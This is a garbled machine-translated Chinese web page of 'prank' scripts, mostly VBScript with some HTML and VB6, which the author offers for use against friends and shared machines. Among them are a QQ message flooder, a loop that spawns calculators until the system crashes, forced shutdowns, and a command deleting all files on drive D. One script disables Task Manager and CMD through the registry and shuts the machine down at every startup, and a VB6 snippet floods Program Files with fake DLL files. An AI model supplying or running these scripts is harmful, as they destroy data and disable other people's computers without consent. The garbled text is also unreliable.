Full-person vbs code collection for many years

1. Open the chat dialog box of your friends, write down the nickname of your friends in QQ, and replace xx in the following code, you can customize the number of times QQ messages are sent to friends (change the number 10 in the Code ).
Xx. vbs => Copy codeThe Code is as follows: On Error Resume Next
Dim wsh, ye
Set wsh = createobject ("wscript. shell ")
For I = 1 to 10
Wscript. sleep 700
Wsh. AppActivate ("chatting with xx ")
Wsh. sendKeys "^ v"
Wsh. sendKeys I
Wsh. sendKeys "% s"
Next
Wscript. quit

QQ harassment information can also be used in other programs.
2. I used this program to store books and periodicals on the machine in the school library. Many people have no choice. Haha
------------------------------------------------------------------------------
Do
Msgbox "You are foolish! "
Loop
------------------------------------------------------------------------------
3. open countless calculators until the computer crashes.
------------------------------------------------------------------------------
Set wsh = createobject ("wscript. shell ")
Do
Wsh. run "calc"
Loop
-----------------------------------------------------------------------------
4. Direct Shutdown
-----------------------------------------------------------------------------
Dim WSHshell
Set WSHshell = wscript. createobject ("wscript. shell ")
WSHshell. run "shutdown-f-s-t 00", 0, true
-----------------------------------------------------------------------------
5. delete D: \ All files
---------------------------------------------------------------------------
Dim WSHshell
Set WSHshell = wscript. createobject ("wscript. shell ")
WSHshell. run "cmd/c" "del d: \ *. */f/q/s", 0, true
----------------------------------------------------------------------------
6. pop-up window
----------------------------------------------------------------------------Copy codeThe Code is as follows: while (1)
Msgbox "Haha, you are playing! "
Loop

----------------------------------------------------------------------------
7. press alt + f4 constantly (turn off everything ......)
---------------------------------------------------------------------------Copy codeThe Code is as follows: dim WSHshell
Set WSHshell = wscript. createobject ("wscript. shell ")
While (1)
WSHshell. SendKeys "% {F4 }"
Loop

8. Press ENTER 500 times
(The above Code displays the 500 dialog box on the computer of the operator. Where do until s = 500,500 can be changed at Will)Copy codeThe Code is as follows: dim s
Do until s = 500
S = s + 1
Msgbox "Buddy, press me for 500 times", 64
Loop
'------------------------------------------------------------------------------------

IX. closed windowCopy codeThe Code is as follows: WScript. Echo ("Hey, thank you for opening me. I am waiting for you to pull it for a long time! "& TSName)
WScript. Echo ("Are you a cute friend? ")
WScript. Echo ("Ha, I want you to pull it. You don't know that? ")
WScript. Echo ("How come, say ~ Don't you care about me ")
WScript. Echo ("Hum, I'm angry. It's cool to wait for so long. ")
WScript. Echo ("Xiaoqiang is very angry and has serious consequences. ")
WScript. Echo ("hey! You will also be miserable ")
WScript. Echo ("do you want to clear me? ")
WScript. Echo ("You can try it for 50 times, but it will surprise you ")
WScript. Echo ("49 more left, just a few clicks ")
WScript. Echo ("48 more left. Hurry up, dumb! ")
WScript. Echo ("there are 47 pairs left, so it's just a little faster! ")
WScript. Echo ("46 more left. You are stupid. Hurry up. I will not disturb your work first. ")
WScript. Echo ("45 times left. Remember to hurry up! ")
WScript. Echo ("43 more left ")
WScript. Echo ("42 more left ")
WScript. Echo ("41 more left ")
WScript. Echo ("40 more left ")
WScript. Echo ("39 more left ")
WScript. Echo ("38 more left ")
WScript. Echo ("37 more left ")
WScript. Echo ("36 More left ")
WScript. Echo ("35 more left ")
WScript. Echo ("34 more left ")
WScript. Echo ("33 more ")
WScript. Echo ("32 more ")
WScript. Echo ("30 more left ")
WScript. Echo ("29 more ")
WScript. Echo ("28 more left ")
WScript. Echo ("27 more ")
WScript. Echo ("26 more ")
WScript. Echo ("25 more left ")
WScript. Echo ("24 more left ")
WScript. Echo ("23 more ")
WScript. Echo ("22 more left ")
WScript. Echo ("21 more left ")
WScript. Echo ("20 more left ")
WScript. Echo ("19 more ")
WScript. Echo ("18 more ")
WScript. Echo ("17 more left ")
WScript. Echo ("16 more ")
WScript. Echo ("15 more left ")
WScript. Echo ("14 more ")
WScript. Echo ("13 more stops !!! Slow down. I want to say ")
WScript. Echo ("12 times left, and you will disappear when you click ")
WScript. Echo ("11 times left, and I won't be able to pull it in the future. 555555 ")
WScript. Echo ("10 more left, you can choose to stop now! ")
WScript. Echo ("9 more left. Do you want to pull it? ")
WScript. Echo ("eight times left, a little sad, why Discard people ")
WScript. Echo ("seven more left. Crazy, you're a little negative! ")
WScript. Echo ("6 more left. Yes. I hate you! ")
WScript. Echo ("five more left. I don't understand. Would you like to delete me? ")
WScript. Echo ("four more left! Are you sure you want to delete me? ")
WScript. Echo ("3 more left. But I really love you... ")
WScript. Echo ("2 more left. Don't be so emotional. People love you! ")
WScript. Echo ("1 left. Hum, since you are so heartless. Don't blame me for being meaningless !!! ")
WScript. Echo ("I should have disappeared, but I miss you, and God gave me another chance. ")
WScript. Echo ("do you want to end with me? Then you can try again ")
WScript. Echo ("do you want to end with me? Then you can try again ")
WScript. Echo ("do you want to end with me? Then you can try again ")
WScript. Echo ("do you want to end with me? Then you can try again ")
WScript. Echo ("do you want to end with me? Then you can try again ")
WScript. Echo ("do you want to end with me? Then you can try again ")
WScript. Echo ("do you want to end with me? Then you can try again ")
WScript. Echo ("do you want to end with me? Then you can try again ")
WScript. Echo ("do you want to end with me? Then you can try again ")
WScript. Echo ("do you want to end with me? Then you can try again ")

Two full-person VBS scripts:
Article entry: 7747.Net responsible editor: 7747.Net 564
[Font: small and big]

Test environment: Windows 2003
Hello everyone, I'm Vanlisa QQ137841986.
Today, I hope you will like the VBS script for two people.
We all know the VBS script. The first one is timed shutdown.
If you send him to your QQ friends, if you don't understand him, if you don't lose, I am a pig computer, and it will be set by you.
Shutdown within a time period. I set it to 3 minutes. I just need to input it. Of course, there is also a solution if I don't lose it.
Let's take a look at this script.Copy codeThe Code is as follows: on error resume next
Dim WSHshellA
Set WSHshellA = wscript. createobject ("wscript. shell ")
WSHshellA. run "cmd.exe/c shutdown-r-t 180-c" "I am a pig. If I don't say I am a pig, I will shut down for one minute. Don't believe it. Try it ···""", 0, true
Dim
Do while (a <> "I am a pig ")
A = inputbox ("if I am a pig, I won't shut down. I'm a pig," "," Don't say)
Msgbox chr (13) + chr (13) + chr (13) + a, 0, "MsgBox"
Loop
Msgbox chr (13) + chr (13) + chr (13) + "just say it"
Dim WSHshell
Set WSHshell = wscript. createobject ("wscript. shell ")
WSHshell. run "cmd.exe/c shutdown-a", 0, true
Msgbox chr (13) + chr (13) + chr (13) + "Hahahaha, haokan"

Create a new notepad and copy the above Code and save it as a VBE format.
Cmd.exe/c shutdown-r-t 180-c
Here, we can change the shutdown time to 180 seconds.
You can also set this script to enable the Shutdown program in cmd.
If you do not enter, open the task manager and enter shutdown-a to cancel the test. At this time, the shutdown is completed.
The Job Manager crashes and wscript.exe processes are OK.
In this case, the Windows Script Host is completely removed when Wscript is used.
Bytes -------------------------------------------------------------------------------------------
Next let's look at the second full-person script.
Bytes -------------------------------------------------------------------------------------------Copy codeThe Code is as follows: set ws = createobject ("wscript. shell ")
Call shutdown (1)
Do while a <> "I'm a pig"
A = inputbox ("enter me as a pig in the box below; otherwise, you will be at your own risk.", "do not lose ","")
Loop
Call shutdown (2)
Msgbox "just say it", 4096 + 64
Msgbox "Try again. I'm a pig! ", 4096 + 64
Msgbox "I'm a pig! ", 4096 + 64
MsgBox "last time! ", 4096 + 64
MsgBox "if you click it soon, don't read it", 4096 + 64
MsgBox "I will step on my space! Hum! ", 4096 + 64
MsgBox "there was a mountain in the past! ", 4096 + 64
MsgBox "there is a temple in the mountains.", 4096 + 64
MsgBox "an old monk in the temple is telling stories.", 4096 + 64
Ws. run "ipolice.exe http://new.qzone.qq.com/137841986/infocenter"
Msgbox "Oh, tired! ", 4096 + 64
For 1 to 100
MsgBox I & "Sheep", 4096 + 64
Next
Msgbox "oh, I am sleepy. Sorry, this time I will spare you. Please pay attention to it next time! ", 4096 + 64
Msgbox "finally asked a question. Am I a good guy! ", 4096 + 64
If inputbox ("isn't", "select", "yes") <> "is" then
Call shutdown (1)
End if
Sub shutdown (s)
Select case s
Case 1
Ws. run "cmd.exe/c shutdown-r-t 60-c", 0
Case 2
Ws. run "cmd.exe/c shutdown-a", 0
End select
End sub

--------------------------------------------------------------------------------
Ws. run "ipolice.exe http://new.qzone.qq.com/137841986/infocenter"
This code can be changed to your own address.
If someone else doesn't lose, I am a pig, then I will keep hitting the number you set.
For 1 to 100
From 1 to 100
You can change the value to 20.
The method to remove the VBS script is simple. It is only to disable wscript.exe in the task manager.
This process is fine.
BY: 7747.net

2009QQ full-person codeCopy codeThe Code is as follows: set s = createobject ("wscript. shell ")
Set bag = getobject ("winmgmts: \. \ root \ cimv2 ")
Set pipe‑bag.exe cquery ("select * from win32_process where name‑'wscript.exe '")
For Each id in pipe
If instr (1, id. commandLine, wscript. scriptfullname) <> 0 and pipe. count> = 2 then
S. regwrite "HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr", 0, "REG_DWORD"
S. regwrite "HKCU \ Software \ Policies \ Microsoft \ Windows \ System \ DisableCMD", 0, "REG_DWORD"
Id. terminate ()
Else
S. regwrite "HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr", 1, "REG_DWORD"
S. regwrite "HKCU \ Software \ Policies \ Microsoft \ Windows \ System \ DisableCMD", 1, "REG_DWORD"
For I = 1 to 60
S. popup "the system will shut down after" & 60-i & "seconds...", 1, "system prompt", 4096 + 48
Next
Set colOS = GetObject ("winmgmts: {(Shutdown)}"). ExecQuery ("Select * FROM Win32_OperatingSystem ")
For Each eOs In colOS
EOs. Win32Shutdown (2)
Next
End if
Next

[Color = # FF0000] copy the above Code, create a text on the desktop, put the code in it, and save it as VBE,
The power of this Code:
1: force automatic shutdown upon startup
2: The cmd command cannot be opened.
3: end the task
4: F8 safe mode does not work.
Haha! It sounds a little scary. I was shocked when I saw it in my friend space,
Code cracking method: You can run the code again to crack the VBE file that was saved for 2nd times ,,
PS: Don't take the software for the whole person. Don't blame me for anything ..
Clap your hands!

2:Copy codeThe Code is as follows: on error resume next
Dim WSHshellA
Set WSHshellA = wscript. createobject ("wscript. shell ")
WSHshellA. run "cmd.exe/c shutdown-r-t 60-c" "said you are a silly B. I am the world's largest silly B. Don't say baby, I am the world's largest silly B. Shut down your machine in just one minute, believe it or not, try... "", 0, true
Dim
Do while (a <> "Baby, I am the world's largest dumb ")
A = inputbox ", "Not to mention)
Msgbox chr (13) + chr (13) + chr (13) + a, 0, "MsgBox"
Loop
Msgbox chr (13) + chr (13) + chr (13) + "just say it now, good luck"
Dim WSHshell
Set WSHshell = wscript. createobject ("wscript. shell ")
WSHshell. run "cmd.exe/c shutdown-a", 0, true
Msgbox chr (13) + chr (13) + chr (13) + "is the baby handsome ?? "

I used this code from my friends. You can try it and you can do something illegal,

Code for webpage Interaction
To see the effect, you just need to copy all the code below and save it in the text file. You can see the effect by modifying the file suffix to txt.Copy codeThe Code is as follows: <Head>
<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312">
<Title> webpage special effects | Linkweb.cn/Js | --- common disgusting whole-person effects </title>
</Head>
<Body>
<A href = "" onMouseover = "alert ('Why put the mouse here? ');
Alert ('Didn't I say this is not the case? ');
Alert ('What do you think of me? ');
Alert ('Do you know the error? ');
Alert ('What? You actually ....');
Alert? ');
Alert (well, you have to pay for it! ');
Alert ('I want you to click here for the second place ......');
Alert ('What? Are you beginning to regret it? ');
Alert ('Why? ');
Alert ('What did you do? ');
Alert ('Don't forgive you! ');
Alert ('Good to start from now on and then click 995 next ......');
Alert ('are your hands tired? ');
Alert ('What? Are you exhausted? ');
Alert ('you have been asking me to forgive you! ');
Alert ('It seems you really know the error! ');
Alert ('Will you do this next time? ');
Alert ('No, really? ');
Alert (well, let's take a moment! ');
Alert ('sorry to write a letter to me! ');
Alert ('I am glad you can do this !!! ');
Document. bgColor = 'black ';
Document. fgColor = 'white ';
Window. location. href = 'mailto: mygod @ god? Subject = sorry, next time you do not dare! '; "> Do not move the mouse here </a>

Hey, try it ..

</Body>
</Html>

Vbs full-person code
The Code is as follows:Copy codeThe Code is as follows: Private Sub Form_Load ()
Me. Hide
End Sub
Private Sub Timer1_Timer ()
'Declare the variable, where "count" is a static variable to generate different files.
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'Defines the directory under which the generated file will be stored
C = "C: \ Program Files \"
'File generation content
Nr = "Haha, it feels good to be hacked"
Files = FreeFile
'If a is equal to a, execute
If a = a Then
'Count is constantly added to 1 to generate different file names.
Count = count + 1
'Generate the file name and file handle, and use count as different file names.
Open c & "system" & count & ". dll" For Append As # files
'Write content to the file
Write # files, nr
'Clear the file handle. This is very important. If it is not cleared, too many file opening errors will be generated.
Close # files
End If
End Sub